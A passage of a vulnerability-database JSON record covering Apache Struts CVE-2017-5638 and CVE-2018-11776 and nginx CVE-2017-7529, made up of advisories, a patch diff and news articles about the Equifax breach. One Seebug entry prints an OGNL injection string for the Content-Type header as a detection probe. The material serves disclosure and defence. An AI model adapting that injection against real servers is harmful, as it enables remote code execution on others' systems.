"cpe:2.3:a:apache:struts:2.3.20.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.13:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.17:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.24.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.29:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.24:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.16.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.16.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.26:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.15.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.28.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.10:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.24.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.19:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.20.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.14.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.15:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.15.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.25:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.14:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.21:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.9:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.23:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.16:*:*:*:*:*:*:*"]}], "seebug": [{"lastseen": "2017-11-19T11:59:11", "description": "A security issue was identified in nginx range filter. A specially\r\ncrafted request might result in an integer overflow and incorrect\r\nprocessing of ranges, potentially resulting in sensitive information\r\nleak (CVE-2017-7529).\r\n\r\nWhen using nginx with standard modules this allows an attacker to\r\nobtain a cache file header if a response was returned from cache.\r\nIn some configurations a cache file header may contain IP address\r\nof the backend server or other sensitive information.\r\n\r\nBesides, with 3rd party modules it is potentially possible that\r\nthe issue may lead to a denial of service or a disclosure of\r\na worker process memory. No such modules are currently known though.\r\n\r\nThe issue affects nginx 0.5.6 - 1.13.2.\r\nThe issue is fixed in nginx 1.13.3, 1.12.1.\r\n\r\nFor older versions, the following configuration can be used\r\nas a temporary workaround:\r\n```\r\nmax_ranges 1;\r\n```\r\n\r\n**patch**\r\n```\r\ndiffsrc/http/modules/ngx_http_range_filter_module.c b/src/http/modules/ngx_http_range_filter_module.c\r\n--- src/http/modules/ngx_http_range_filter_module.c\r\n+++ src/http/modules/ngx_http_range_filter_module.c\r\n@@ -377,6 +377,10 @@ ngx_http_range_parse(ngx_http_request_t \r\n range->start = start;\r\n range->end = end;\r\n \r\n+ if (size > NGX_MAX_OFF_T_VALUE - (end - start)) {\r\n+ return NGX_HTTP_RANGE_NOT_SATISFIABLE;\r\n+ }\r\n+\r\n size += end - start;\r\n \r\n if (ranges-- == 0) {\r\n```", "cvss3": {}, "published": "2017-07-13T00:00:00", "type": "seebug", "title": "Nginx Remote Integer Overflow Vulnerability(CVE-2017-7529 )", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-7529"], "modified": "2017-07-13T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-96273", "id": "SSV:96273", "sourceData": "", "sourceHref": "", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}}, {"lastseen": "2017-11-19T12:05:43", "description": "It is possible to perform a RCE attack with a malicious Content-Disposition value or with improper Content-Length header. If the Content-Dispostion / Content-Length value is not valid an exception is thrown which is then used to display an error message to a user. This is a different vector for the same vulnerability described in [S2-045](https://cwiki.apache.org/confluence/display/WW/S2-045) (CVE-2017-5638).", "cvss3": {}, "published": "2017-03-21T00:00:00", "type": "seebug", "title": "S2-046: Struts 2 Remote Code Execution vulnerability\uff08CVE-2017-5638\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-21T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92804", "id": "SSV:92804", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2017-11-19T12:01:16", "description": "Based on the Jakarta plugin plugin Struts remote code execution vulnerability, a malicious user can upload a file by modifying the HTTP request header Content-Type value to trigger the vulnerability, and then execute the system command.\n\nSound detection method(the detection method by the constant company): the In to the server to issue the http request packet, modify the Content-Type field: `Content-Type:%{#context['com. opensymphony. xwork2. dispatcher. HttpServletResponse']. addHeader('vul','vul')}. multipart/form-data`\n\nSuch as the return response packets in the presence of vul: the vul field entry then indicates the presence of vulnerability.\n", "cvss3": {}, "published": "2017-03-06T00:00:00", "type": "seebug", "title": "S2-045: Struts 2 Remote Code Execution vulnerability\uff08CVE-2017-5638\uff09", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-06T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-92746", "id": "SSV:92746", "sourceData": "", "sourceHref": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "vmware": [{"lastseen": "2023-06-23T15:25:50", "description": "Remote code execution vulnerability via Apache Struts 2\n\nMultiple VMware products contain a remote code execution vulnerability due to the use of Apache Struts 2. Successful exploitation of this issue may result in the complete compromise of an affected product. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier CVE-2017-5638 to this issue. Column 5 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-13T00:00:00", "type": "vmware", "title": "VMware product updates resolve remote code execution vulnerability via Apache Struts 2", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-28T00:00:00", "id": "VMSA-2017-0004.7", "href": "https://www.vmware.com/security/advisories/VMSA-2017-0004.7.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-06T16:05:27", "description": "Remote code execution vulnerability via Apache Struts 2\n\nMultiple VMware products contain a remote code execution vulnerability due to the use of Apache Struts 2. Successful exploitation of this issue may result in the complete compromise of an affected product. \n \nThe Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier [CVE-2017-5638](<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638>) to this issue. \n \nColumn 5 of the following table lists the action required to remediate the vulnerability in each release, if a solution is available. \n\n", "cvss3": {}, "published": "2017-03-13T00:00:00", "type": "vmware", "title": "VMware product updates resolve remote code execution vulnerability via Apache Struts 2", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-28T00:00:00", "id": "VMSA-2017-0004", "href": "https://www.vmware.com/security/advisories/VMSA-2017-0004.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2018-01-27T09:17:16", "description": "[](<https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png>)\n\nSecurity researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {}, "published": "2017-03-09T01:03:00", "type": "thn", "title": "New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T12:03:10", "id": "THN:2707247140A4F620671B33D68FEB1EA9", "href": "https://thehackernews.com/2017/03/apache-struts-framework.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:51", "description": "[](<https://thehackernews.com/images/-1V4miBZKvxA/W6OU7pQw5sI/AAAAAAAAyLM/GdXx9FNEs_UiDXCnBFucDDfdR_AGIzUkwCLcBGAs/s728-e100/equifax-data-breach.jpg>)\n\nAtlanta-based consumer credit reporting agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their Equifax account email addresses swiped.\n * 15,000 UK customers also had their names, dates of birth, addresses, account usernames and plaintext passwords, account recovery secret questions, and answers, obscured credit card numbers, and spending amounts stolen by hackers.\n \n\n\n## Breach Was Result of Multiple Failures at Equifax\n\n \nThe ICO said that Equifax had also been warned about a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/03/apache-struts-framework.html>) in its systems by the United States Department of Homeland Security (DHS) in March 2017, but the company did not take appropriate steps to fix the issue. \n \nInitially, it was also reported that the company kept news of the [breach hidden for a month](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) after its internal discovery, giving three senior executives at Equifax time to sell almost $2 million worth of its shares, though the company denied such claims. \n \nSince the data breach happened before the EU's General Data Protection Regulation (GDPR) took effect in May 2018, the maximum fine of \u00a3500,000 imposed under the UK's old Data Protection Act 1998 is still lesser. \n \nThe penalty could have been much larger had it fallen under GDPR, wherein a company could face a [maximum fine of 20 million euros](<https://thehackernews.com/2017/08/data-breach-security-law.html>) or 4 percent of its annual global revenue, whichever is higher, for such a privacy breach. \n \nIn response to the ICO's penalty, Equifax said that the company has fully cooperated with the ICO throughout the investigation that it is \"disappointed in the findings and the penalty.\" \n \nEquifax received the Monetary Penalty Notice from the ICO on Wednesday and can appeal the penalty.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-09-20T13:54:00", "type": "thn", "title": "UK Regulator Fines Equifax \u00a3500,000 Over 2017 Data Breach", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-09-20T13:54:52", "id": "THN:AF93AEDBDE6169AD1163D53979A4EA04", "href": "https://thehackernews.com/2018/09/equifax-credit-reporting-breach.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-01-27T09:17:53", "description": "[](<https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png>)\n\n[Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. \n \nCredit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. \n \nEquifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. \n \nIn addition, credit card information for [nearly 209,000 customers](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. \n \nThe breach was due to a critical vulnerability ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. \n \nEquifax was even [informed by the US-CERT](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [[PDF](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>)] to the House Committee on Energy and Commerce. \n\n\n> \"It appears that the breach occurred because of both human error and technology failures,\" Smith said. \"Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.\"\n\nIn the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results \"promptly.\" \n \nMandiant said a total of 145.5 million consumers might now potentially have been [impacted by the breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>), which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of \"new attacker activity.\" \n\n\n> \"Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,\" Equifax said in a Monday [press release](<https://investor.equifax.com/news-and-events/news/2017/10-02-2017-213238821>). \n\n> \"Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\"\n\nThe forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. \n \nHowever, Equifax said that this figure \"was preliminary and did not materialize.\" \n \n\"I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,\" newly appointed interim CEO, Paulino do Rego Barros, Jr. said. \n \n\"We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements.\" \n \nEquifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.\n", "cvss3": {}, "published": "2017-10-02T21:23:00", "type": "thn", "title": "Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T08:23:36", "id": "THN:ACD3479531482E2CA5A8E15EB6B47523", "href": "https://thehackernews.com/2017/10/equifax-credit-security-breach.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:55", "description": "[](<https://3.bp.blogspot.com/-F7ViQ9JXvL8/Wbo_3TiAKWI/AAAAAAAAAJM/fsHVxS_O8ysIy4sZ2wdnG1OfLkiNJTjzgCLcBGAs/s1600/equifax-apache-struts.png>)\n\nThe [massive Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) that exposed highly sensitive data of as many as 143 million people was caused by [exploiting a flaw in Apache Struts](<https://thehackernews.com/2017/03/apache-struts-framework.html>) framework, which Apache patched over two months earlier of the security incident, Equifax has confirmed. \n \nCredit rating agency Equifax is yet another example of the companies that became victims of massive cyber attacks due to not patching a critical vulnerability on time, for which patches were already issued by the respected companies. \n \nRated critical with a maximum 10.0 score, the Apache Struts2 vulnerability (CVE-2017-5638) exploited in the Equifax breach was disclosed and fixed by Apache on March 6 with the release of Apache Struts version 2.3.32 or 2.5.10.1. \n \nThis flaw is separate from CVE-2017-9805, [another Apache Struts2 vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) that was patched earlier this month, which was a programming bug that manifests due to the way Struts REST plugin handles XML payloads while deserializing them, and was fixed in Struts version 2.5.13. \n \nRight after the disclosure of the vulnerability, hackers started actively exploiting the flaw in the wild to install rogue applications on affected web servers after its [proof-of-concept (PoC) exploit code](<https://thehackernews.com/2017/03/apache-struts-framework.html>) was uploaded to a Chinese site. \n \nDespite patches were made available and proofs that the flaw was already under mass attack by hackers, Equifax failed to patched its Web applications against the flaw, which resulted in the breach of personal data of [nearly half of the US population](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>). \n\n\n> \"Equifax has been intensely investigating the scope of the intrusion with the assistance of a leading, independent cyber security firm to determine what information was accessed and who have been impacted,\" the company officials wrote in an [update on the website](<https://www.equifaxsecurity2017.com/>) with a new \"A Progress Update for Consumers.\" \n\n> \"We [know that](<https://www.equifaxsecurity2017.com/2017/09/13/progress-update-consumers-4/>) criminals exploited a US website application vulnerability. The vulnerability was Apache Struts CVE-2017-5638. We continue to work with law enforcement as part of our criminal investigation, and have shared indicators of compromise with law enforcement.\"\n\nCVE-2017-5638 was a then-zero-day vulnerability discovered in the [popular Apache Struts](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) web application framework by Cisco's Threat intelligence firm Talos, which observed a number of active attacks exploiting the flaw. \n \nThe issue was a remote code execution bug in the Jakarta Multipart parser of Apache Struts2 that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n \nAt the time, Apache warned it was possible to perform a remote code execution attack with \"a malicious Content-Type value,\" and if this value is not valid \"an exception is thrown which is then used to display an error message to a user.\" \n \n**Also Read: **[Steps You Should Follow to Protect Yourself From Equifax Breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) \n \nFor those unaware, Apache Struts is a free, open-source MVC framework for developing web applications in the Java programming language that run both front-end and back-end Web servers. The framework is used by 65n per cent of the Fortune 100 companies, including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS. \n \nSince the hackers are actively exploiting the vulnerabilities in the Apache Struts web framework, Cisco has also [initiated an investigation](<https://thehackernews.com/2017/09/apache-struts-flaws-cisco.html>) into its products against four newly discovered security vulnerabilities in Apache Struts2. \n \nOther companies that also incorporate a version of Apache Struts 2 should also check their infrastructures against these vulnerabilities. \n \nEquifax is currently offering free credit-monitoring and identity theft protection services for people who are affected by the massive data leak and has also enabled a security freeze for access to people's information. \n \nWhile the company was initially criticised for generating a PIN that was simply a time and date stamp and easy-to-guess, the PIN generation method was later changed to randomly generate numbers.\n", "cvss3": {}, "published": "2017-09-13T21:38:00", "type": "thn", "title": "Equifax Suffered Data Breach After It Failed to Patch Old Apache Struts Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638", "CVE-2017-9805"], "modified": "2017-09-15T10:00:54", "id": "THN:6C0E5E35ABB362C8EA341381B3DD76D6", "href": "https://thehackernews.com/2017/09/equifax-apache-struts.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:18", "description": "[](<https://thehackernews.com/images/-ktDJMSI6Gdo/W310Im7Od5I/AAAAAAAAx8k/iNNQd5VURi8zRV8-MZosbkEo-V4eXjqowCLcBGAs/s728-e100/apache-struts-vulnerability-hacking.png>)\n\nSemmle security researcher Man Yue Mo has [disclosed](<https://lgtm.com/blog/apache_struts_CVE-2018-11776>) a critical remote code execution vulnerability in the popular Apache Struts web application framework that could allow remote attackers to run malicious code on the affected servers. \n \nApache Struts is an open source framework for developing web applications in the Java programming language and is widely used by enterprises globally, including by 65 percent of the Fortune 100 companies, like Vodafone, Lockheed Martin, Virgin Atlantic, and the IRS. \n \nThe vulnerability (**CVE-2018-11776**) resides in the core of Apache Struts and originates because of insufficient validation of user-provided untrusted inputs in the core of the Struts framework under certain configurations. \n \nThe newly found Apache Struts exploit can be triggered just by visiting a specially crafted URL on the affected web server, allowing attackers to execute malicious code and eventually take complete control over the targeted server running the vulnerable application. \n \n\n\n## Struts2 Vulnerability - Are You Affected?\n\n \nAll applications that use Apache Struts\u2014supported versions (Struts 2.3 to Struts 2.3.34, and Struts 2.5 to Struts 2.5.16) and even some unsupported Apache Struts versions\u2014are potentially vulnerable to this flaw, even when no additional plugins have been enabled. \n \n\n\n> \"This vulnerability affects commonly-used endpoints of Struts, which are likely to be exposed, opening up an attack vector to malicious hackers,\" Yue Mo said.\n\n \nYour Apache Struts implementation is vulnerable to the reported RCE flaw if it meets the following conditions: \n\n\n * The **alwaysSelectFullNamespace** flag is set to true in the Struts configuration.\n * Struts configuration file contains an \"action\" or \"url\" tag that does not specify the optional namespace attribute or specifies a wildcard namespace.\nAccording to the researcher, even if an application is currently not vulnerable, \"an inadvertent change to a Struts configuration file may render the application vulnerable in the future.\" \n \n\n\n## Here's Why You Should Take Apache Struts Exploit Seriously\n\n \nLess than a year ago, credit rating agency Equifax exposed [personal details of its 147 million consumers](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) due to their failure of patching a similar [Apache Struts flaw](<https://thehackernews.com/2017/03/apache-struts-framework.html>) that was disclosed earlier that year (CVE-2017-5638). \n \nThe Equifax breach cost the company over $600 million in losses. \n\n\n> \"Struts is used for publicly-accessible customer-facing websites, vulnerable systems are easily identified, and the flaw is easy to exploit,\" said Pavel Avgustinov, Co-founder & VP of QL Engineering at Semmle.\n\n> \"A hacker can find their way in within minutes, and exfiltrate data or stage further attacks from the compromised system.\"\n\n \n\n\n## Patch Released for Critical Apache Struts Bug\n\n[](<https://thehackernews.com/images/-aZ6JnELsib4/W31pGhAz6bI/AAAAAAAAx8M/0d3umSPy5YATSc8sNXCx5cKejhIftncEgCLcBGAs/s728-e100/apache-struts-vulnerability-exploit.png>)\n\nApache Struts has fixed the vulnerability with the release of Struts versions 2.3.35 and 2.5.17. Organizations and developers who use Apache Struts are urgently advised to upgrade their Struts components as soon as possible. \n \nWe have seen how previous disclosures of similar critical flaws in Apache Struts have resulted in [PoC exploits](<https://thehackernews.com/2017/03/apache-struts-framework.html>) being published within a day, and exploitation of the [vulnerability in the wild](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>), putting critical infrastructure as well as customers' data at risk. \n \nTherefore, users and administrators are strongly advised to upgrade their Apache Struts components to the latest versions, even if they believe their configuration is not vulnerable right now. \n \nThis is not the first time the Semmle Security Research Team has reported a critical RCE flaw in Apache Struts. Less than a year ago, the team disclosed a similar [remote code execution vulnerability](<https://thehackernews.com/2017/09/apache-struts-vulnerability.html>) (CVE-2017-9805) in Apache Struts. \n \n\n\n## UPDATE \u2014 Apache Struts RCE Exploit PoC Released\n\n[](<https://thehackernews.com/images/-fNjQzu1b7iw/W376YS-nYjI/AAAAAAAAx9I/T7MopN2IxtwTxicu4k8j55ywy0GbIRQHgCLcBGAs/s728-e100/apache-struts-exploit-poc-rce-vulnerability.png>)\n\nA security researcher has today released [a PoC exploit](<https://github.com/jas502n/St2-057/blob/master/README.md>) for the newly discovered remote code execution (RCE) vulnerability (CVE-2018-11776) in Apache Struts web application framework.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, 